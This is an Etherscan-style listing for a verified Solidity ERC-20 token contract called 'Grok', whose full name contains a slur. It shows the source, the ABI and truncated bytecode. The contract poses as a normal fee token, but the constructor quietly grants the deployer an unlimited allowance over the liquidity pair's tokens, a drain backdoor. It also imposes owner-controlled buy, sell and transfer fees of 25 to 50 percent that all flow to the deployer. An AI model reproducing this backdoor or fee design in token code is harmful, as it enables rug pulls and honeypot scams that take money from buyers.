ETH Price: $2,505.68 (+1.29%)
 

Overview

Max Total Supply

100,000,000 GROK

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,500,000 GROK

Value
$0.00
0x7b1184bf2ab8a2f0fb2522c3c8ba726a7ae44c1a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Grok

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 300 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-07
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */

    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract Grok is IERC20, Ownable {
    using SafeMath for uint256;

    // address constant WETH          = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant DEAD          = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO          = 0x0000000000000000000000000000000000000000;
    address constant ROUTER        = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public WETH;

    string _name = "GrimaceRetardObamaKeanu";
    string _symbol = "GROK";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100_000_000 * (10 ** _decimals);
    uint256 public _maxWalletToken = (_totalSupply * 200) / 10000;   // 2% 

    mapping (address => uint256) _rOwned;
    uint256 public _totalProportion = _totalSupply;

    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;


    uint256 liquidityFee = 0; 
    uint256 marketingFee = 0;   
    uint256 reflectionFee = 0; 
    uint256 totalFee = 0;

    uint256 buyFee = 25; 
    uint256 sellFee = 30; 
    uint256 transferFee = 50; 
    uint256 feeDenominator = 100;

    address autoLiquidityReceiver;
    address marketingFeeReceiver;

    IDEXRouter public router;
    address public uniswapV2Pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply.mul(2).div(100);
    bool anticlearOn = true;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }


    constructor () {

        address deployer = msg.sender;
        router = IDEXRouter(ROUTER);
        WETH = router.WETH();
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        address initialLP = uniswapV2Pair;

        _allowances[address(this)][address(router)] = type(uint256).max;
        _allowances[initialLP][deployer] = type(uint256).max;
        isFeeExempt[address(this)] = true;
        isFeeExempt[deployer] = true;

        autoLiquidityReceiver = deployer;
        marketingFeeReceiver = deployer;

        _rOwned[deployer] = _totalSupply;
        emit Transfer(address(0), deployer, _totalSupply);
        
    }

    receive() external payable { }

    function addLiquidity() external payable onlyOwner {
        swapEnabled = false;

        uint256 amountETH = address(this).balance;
        router.addLiquidityETH{value: amountETH} (
            address(this),
            _totalSupply.mul(11).div(12),
            _totalSupply.mul(11).div(12),
            amountETH,
            msg.sender,
            block.timestamp
        );

        swapEnabled = true;
    }


    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if (recipient != uniswapV2Pair && recipient != DEAD && !isFeeExempt[recipient] && !isFeeExempt[sender]) {
            require(balanceOf(recipient) + amount <= _maxWalletToken, "Max Wallet Exceeded");
        }

        if(shouldSwapBack()){ swapBack(amount); }


        uint256 rAmount = tokensToProportion(amount);

        _rOwned[sender] = _rOwned[sender].sub(rAmount, "Insufficient Balance");

        uint256 proportionReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, rAmount) : rAmount;
        _rOwned[recipient] = _rOwned[recipient].add(proportionReceived);


        // _rOwned[sender] = _rOwned[sender].sub(amount, "Insufficient Balance");
        // _rOwned[recipient] = _rOwned[recipient].add(amount);

        emit Transfer(sender, recipient, amount);
        return true;
        
    }
    
    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) public view returns (uint256) { 
        if (sender    == uniswapV2Pair) { return buyFee; } 
        if (recipient == uniswapV2Pair) { return sellFee; } 
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 proportionFeeAmount = amount.mul(getTotalFee(sender,recipient)).div(feeDenominator);
        uint256 proportionReflected = 0; // declare here, initialize below

        // reflect
        if (totalFee > 0) {
            proportionReflected = proportionFeeAmount.mul(reflectionFee).div(totalFee);
            _totalProportion = _totalProportion.sub(proportionReflected);
            emit Reflect(proportionReflected, _totalProportion);
        }

        // take fees
        uint256 _proportionToContract = proportionFeeAmount.sub(proportionReflected);
        _rOwned[address(this)] = _rOwned[address(this)].add(_proportionToContract);

        emit Transfer(sender, address(this), tokenFromReflection(_proportionToContract));
        return amount.sub(proportionFeeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _rOwned[sender] = _rOwned[sender].sub(amount, "Insufficient Balance");
        _rOwned[recipient] = _rOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function tokensToProportion(uint256 tokens) public view returns (uint256) {
        return tokens.mul(_totalProportion).div(_totalSupply);
    }

    function tokenFromReflection(uint256 proportion) public view returns (uint256) {
        return proportion.mul(_totalSupply).div(_totalProportion);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && balanceOf(address(this)) >= swapThreshold;
    }

    function swapBack(uint256 originaltxAmount) internal swapping {

        // uint256 _totalFee = totalFee.sub(reflectionFee);
        uint256 amountToSwap = (anticlearOn && originaltxAmount < swapThreshold) ? originaltxAmount : swapThreshold;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        // uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        // uint256 amountETH = address(this).balance.sub(balanceBefore);

        (bool success,) = payable(marketingFeeReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount, bool _anticlearOn) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
        anticlearOn = _anticlearOn;
    }
    
    function sendETH() external {
        (bool success,) = payable(marketingFeeReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
    }
    
    function removeLimits() public onlyOwner {
        _maxWalletToken = _totalSupply;
        buyFee      =0;
        sellFee     =0;
        transferFee =0;
        totalFee    =0; 
    }

    
    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply;
    }

    event Reflect(uint256 amountReflected, uint256 newTotalProportion);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountReflected","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newTotalProportion","type":"uint256"}],"name":"Reflect","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalProportion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bool","name":"_anticlearOn","type":"bool"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"proportion","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"tokensToProportion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601760809081527f4772696d6163655265746172644f62616d614b65616e7500000000000000000060a0526002906200003e90826200059e565b5060408051808201909152600481526347524f4b60e01b60208201526003906200006990826200059e565b50620000786009600a6200077d565b62000088906305f5e1006200078e565b60045561271060045460c86200009f91906200078e565b620000ab9190620007a8565b60055560045460078190556000600a819055600b819055600c819055600d556019600e55601e600f556032601055606460118190556015805460ff60a01b1916600160a01b1790556200010c9162000105906002620003dc565b9062000473565b6016556017805460ff191660011790553480156200012957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155604080516315ab88c960e31b8152905133929163ad5c46489160048083019260209291908290030181865afa158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f89190620007cb565b600180546001600160a01b0319166001600160a01b039283161790556014546040805163c45a015560e01b81529051919092169163c45a01559160048083019260209291908290030181865afa15801562000257573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027d9190620007cb565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620002cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f59190620007cb565b601580546001600160a01b039283166001600160a01b03199182168117909255306000818152600860208181526040808420601454891685528252808420600019908190558785529282528084209789168085529782528084209290925592825260098352808220805460ff1990811660019081179092558784528284208054909116909117905560128054851687179055601380549094168617909355600454600683528382208190559251928352929392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505062000846565b600082600003620003f0575060006200046d565b6000620003fe83856200078e565b9050826200040d8583620007a8565b146200046a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200046a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620004bd60201b60201c565b60008183620004e15760405162461bcd60e51b8152600401620004619190620007f6565b506000620004f08486620007a8565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200052457607f821691505b6020821081036200054557634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200059957600081815260208120601f850160051c81016020861015620005745750805b601f850160051c820191505b81811015620005955782815560010162000580565b5050505b505050565b81516001600160401b03811115620005ba57620005ba620004f9565b620005d281620005cb84546200050f565b846200054b565b602080601f8311600181146200060a5760008415620005f15750858301515b600019600386901b1c1916600185901b17855562000595565b600085815260208120601f198616915b828110156200063b578886015182559484019460019091019084016200061a565b50858210156200065a5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006c1578160001904821115620006a557620006a56200066a565b80851615620006b357918102915b93841c939080029062000685565b509250929050565b600082620006da575060016200046d565b81620006e9575060006200046d565b81600181146200070257600281146200070d576200072d565b60019150506200046d565b60ff8411156200072157620007216200066a565b50506001821b6200046d565b5060208310610133831016604e8410600b841016171562000752575081810a6200046d565b6200075e838362000680565b80600019048211156200077557620007756200066a565b029392505050565b60006200046a60ff841683620006c9565b80820281158282048414176200046d576200046d6200066a565b600082620007c657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620007de57600080fd5b81516001600160a01b03811681146200046a57600080fd5b600060208083528351808285015260005b81811015620008255785810183015185820160400152820162000807565b506000604082860101526040601f19601f8301168501019250505092915050565b6118dc80620008566000396000f3fe6080604052600436106101d15760003560e01c806370a08231116100f757806395d89b4111610095578063dd62ed3e11610064578063dd62ed3e146104d8578063e8078d941461051e578063f2fde38b14610526578063f887ea401461054657600080fd5b806395d89b4114610463578063a9059cbb14610478578063ad5c464814610498578063d2d55dde146104b857600080fd5b806378109e54116100d157806378109e541461040f5780637daf4b2b14610425578063893d20e8146104455780638da5cb5b1461044557600080fd5b806370a08231146103af578063715018a6146103e5578063751039fc146103fa57600080fd5b80632b112e491161016f57806349bd5a5e1161013e57806349bd5a5e14610316578063571ac8b01461034e578063658d4b7f1461036e5780636ddd17131461038e57600080fd5b80632b112e491461026e5780632d838119146102ba578063313ce567146102da57806345ce5365146102f657600080fd5b806317800287116101ab578063178002871461025857806318160ddd1461026e5780631d16d9a01461028357806323b872dd1461029a57600080fd5b80630445b667146101dd57806306fdde0314610206578063095ea7b31461022857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f360165481565b6040519081526020015b60405180910390f35b34801561021257600080fd5b5061021b610566565b6040516101fd9190611575565b34801561023457600080fd5b506102486102433660046115df565b6105f8565b60405190151581526020016101fd565b34801561026457600080fd5b506101f360075481565b34801561027a57600080fd5b506004546101f3565b34801561028f57600080fd5b50610298610665565b005b3480156102a657600080fd5b506102486102b5366004611609565b610715565b3480156102c657600080fd5b506101f36102d5366004611645565b6107de565b3480156102e657600080fd5b50604051600981526020016101fd565b34801561030257600080fd5b506101f3610311366004611645565b610801565b34801561032257600080fd5b50601554610336906001600160a01b031681565b6040516001600160a01b0390911681526020016101fd565b34801561035a57600080fd5b5061024861036936600461165e565b61081e565b34801561037a57600080fd5b50610298610389366004611689565b61082c565b34801561039a57600080fd5b5060155461024890600160a01b900460ff1681565b3480156103bb57600080fd5b506101f36103ca36600461165e565b6001600160a01b031660009081526006602052604090205490565b3480156103f157600080fd5b5061029861089f565b34801561040657600080fd5b50610298610931565b34801561041b57600080fd5b506101f360055481565b34801561043157600080fd5b506102986104403660046116bc565b610995565b34801561045157600080fd5b506000546001600160a01b0316610336565b34801561046f57600080fd5b5061021b610a16565b34801561048457600080fd5b506102486104933660046115df565b610a25565b3480156104a457600080fd5b50600154610336906001600160a01b031681565b3480156104c457600080fd5b506101f36104d33660046116f8565b610a32565b3480156104e457600080fd5b506101f36104f33660046116f8565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b610298610a7d565b34801561053257600080fd5b5061029861054136600461165e565b610bbe565b34801561055257600080fd5b50601454610336906001600160a01b031681565b60606002805461057590611722565b80601f01602080910402602001604051908101604052809291908181526020018280546105a190611722565b80156105ee5780601f106105c3576101008083540402835291602001916105ee565b820191906000526020600020905b8154815290600101906020018083116105d157829003601f168201915b5050505050905090565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106539086815260200190565b60405180910390a35060015b92915050565b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d80600081146106b7576040519150601f19603f3d011682016040523d82523d6000602084013e6106bc565b606091505b50509050806107125760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e73666572000060448201526064015b60405180910390fd5b50565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107c957604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e6365000000000000000000006020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546107a4918490610cc6565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107d4848484610d00565b90505b9392505050565b600061065f6007546107fb60045485610f6090919063ffffffff16565b90610fe2565b600061065f6004546107fb60075485610f6090919063ffffffff16565b600061065f826000196105f8565b6000546001600160a01b031633146108745760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109795760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6004546005556000600e819055600f8190556010819055600d55565b6000546001600160a01b031633146109dd5760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6015805460ff60a01b1916600160a01b94151594909402939093179092556016556017805460ff1916911515919091179055565b905090565b60606003805461057590611722565b60006107d7338484610d00565b6015546000906001600160a01b0390811690841603610a545750600e5461065f565b6015546001600160a01b0390811690831603610a735750600f5461065f565b5060105492915050565b6000546001600160a01b03163314610ac55760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6015805460ff60a01b1916905560145460045447916001600160a01b03169063f305d7199083903090610b0090600c906107fb90600b610f60565b610b1b600c6107fb600b600454610f6090919063ffffffff16565b6040516001600160e01b031960e087901b1681526001600160a01b03909316600484015260248301919091526044820152606481018590523360848201524260a482015260c40160606040518083038185885af1158015610b80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ba5919061175c565b50506015805460ff60a01b1916600160a01b1790555050565b6000546001600160a01b03163314610c065760405162461bcd60e51b815260206004820181905260248201526000805160206118878339815191526044820152606401610709565b6001600160a01b038116610c6b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610709565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610cea5760405162461bcd60e51b81526004016107099190611575565b506000610cf784866117a0565b95945050505050565b601754600090610100900460ff1615610d2557610d1e848484611024565b90506107d7565b6015546001600160a01b03848116911614801590610d4e57506001600160a01b03831661dead14155b8015610d7357506001600160a01b03831660009081526009602052604090205460ff16155b8015610d9857506001600160a01b03841660009081526009602052604090205460ff16155b15610e0e5760055482610dc0856001600160a01b031660009081526006602052604090205490565b610dca91906117b3565b1115610e0e5760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b6044820152606401610709565b610e1661110a565b15610e2457610e2482611165565b6000610e2f83610801565b9050610e978160405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060066000896001600160a01b03166001600160a01b0316815260200190815260200160002054610cc69092919063ffffffff16565b6001600160a01b038616600090815260066020526040812091909155610ebd8686611334565b610ec75781610ed2565b610ed286868461137a565b6001600160a01b038616600090815260066020526040902054909150610ef890826114a6565b6001600160a01b0380871660008181526006602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f4c9088815260200190565b60405180910390a350600195945050505050565b600082600003610f725750600061065f565b6000610f7e83856117c6565b905082610f8b85836117dd565b146107d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610709565b60006107d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611505565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611075918490610cc6565b6001600160a01b0380861660009081526006602052604080822093909355908516815220546110a490836114a6565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f89086815260200190565b60405180910390a35060019392505050565b6015546000906001600160a01b031633148015906111305750601754610100900460ff16155b80156111455750601554600160a01b900460ff165b8015610a1157505060165430600090815260066020526040902054101590565b6017805461ff001981166101001790915560009060ff168015611189575060165482105b61119557601654611197565b815b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106111d1576111d16117ff565b6001600160a01b0392831660209182029290920101526001805483519216918391908110611201576112016117ff565b6001600160a01b03928316602091820292909201015260145460405163791ac94760e01b815291169063791ac94790611247908590600090869030904290600401611815565b600060405180830381600087803b15801561126157600080fd5b505af1158015611275573d6000803e3d6000fd5b5050601354604051600093506001600160a01b03909116915061753090479084818181858888f193505050503d80600081146112cd576040519150601f19603f3d011682016040523d82523d6000602084013e6112d2565b606091505b50509050806113235760405162461bcd60e51b8152